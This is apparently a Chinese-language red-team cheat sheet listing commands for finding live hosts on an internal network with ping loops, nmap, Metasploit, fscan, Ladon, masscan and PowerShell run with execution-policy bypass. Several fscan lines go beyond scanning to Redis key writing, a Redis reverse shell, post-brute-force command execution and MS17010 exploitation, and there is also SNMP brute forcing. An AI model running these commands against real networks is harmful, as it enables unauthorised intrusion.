1.Linux使用ping探測存活主機:
for k in $( seq 1 255);do ping -c 1 192.168.7.|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
2.Windows使用ping探測存活主機:
for /l %i in (1,1,255) do @ping 192.168.7.%i -w 1 -n 1|find /i "ttl="
3.使用nmap探測存活主機:
ARP 掃描:nmap -PR -sn 192.168.7.0/24ICMP 掃描:nmap ‐sP ‐PI 192.168.7.0/24 ‐T4ICMP 掃描:nmap ‐sn ‐PE ‐T4 192.168.7.0/24SNMP 掃描:nmap -sU --script snmp-brute 192.168.7.0/24 -T4UDP 掃描:nmap -sU -T5 -sV --max-retries 1 192.168.7.7 -p 500NetBIOS 掃描:nmap --script nbstat.nse -sU -p137 192.168.7.0/24 -T4SMB 掃描:nmap ‐sU ‐sS ‐‐script smb‐enum‐shares.nse ‐p 445 192.168.7.0/24
4.Windows使用arp-scan探測存活主機:
arp-scan.exe -t 10.30.3.1/24
5.使用Metasploit探測存活主機:
auxiliary/scanner/discovery/udp_probeauxiliary/scanner/discovery/udp_sweepauxiliary/scanner/discovery/arp_sweepauxiliary/scanner/netbios/nbnameauxiliary/scanner/snmp/snmp_enumauxiliary/scanner/smb/smb_version
6.使用fscan探測存活主機:
fscan -h 192.168.1.1/24fscan.exe -h 192.168.1.1/24 (默認使用全部模塊)fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 寫私鑰)fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 計划任務反彈shell)fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令執行)fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模塊ssh和端口)fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模塊)
7.使用Ladon探測存活主機:
Ladon默認掃描通過ICMP探測存活IP,再加載模塊,大部份內網代理工具並不支持ICMP協議。或目標大量機器存在防火牆或禁Ping,這種情況下需要Ladon功能掃描內網則需加nocheck命令: Ladon nocheck命令: Ladon nocheck 掃描參數例子: Ladon nocheck MS17010
命令: Ladon nocheck IP/URL/IP段
掃描參數例子: Ladon nocheck 192.168.1.8/24 MS17010
8.使用tcping探測存活主機:
Probing 192.168.7.7:445/tcp - Port is open - time=1.719msPing statistics for 192.168.7.7:445
1 probes sent.
1 successful, 0 failed. (0.00% fail)Approximate trip times in milli-seconds:
Minimum = 1.719ms, Maximum = 1.719ms, Average = 1.719ms
9.使用masscan探測存活主機:
masscan --ping 192.168.123.1/24 --rate 1000000masscan -p80,8080-8100 10.0.0.0/8
10.nbtscan 存活探測:
nbtscan -r 192.168.1.1/24
11.PowerShell 存活探測:
powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;InvokeARPScan -CIDR 192.168.1.0/24"
powershell.exe ‐exec bypass ‐Command "Import‐Module ./Invoke‐TSPingSweep.ps1; Invoke‐TSPingSweep ‐StartAddress 192.168.1.1 ‐EndAddress 192.168.1.254 ‐ResolveHost ‐ScanPort ‐Port 445,135"
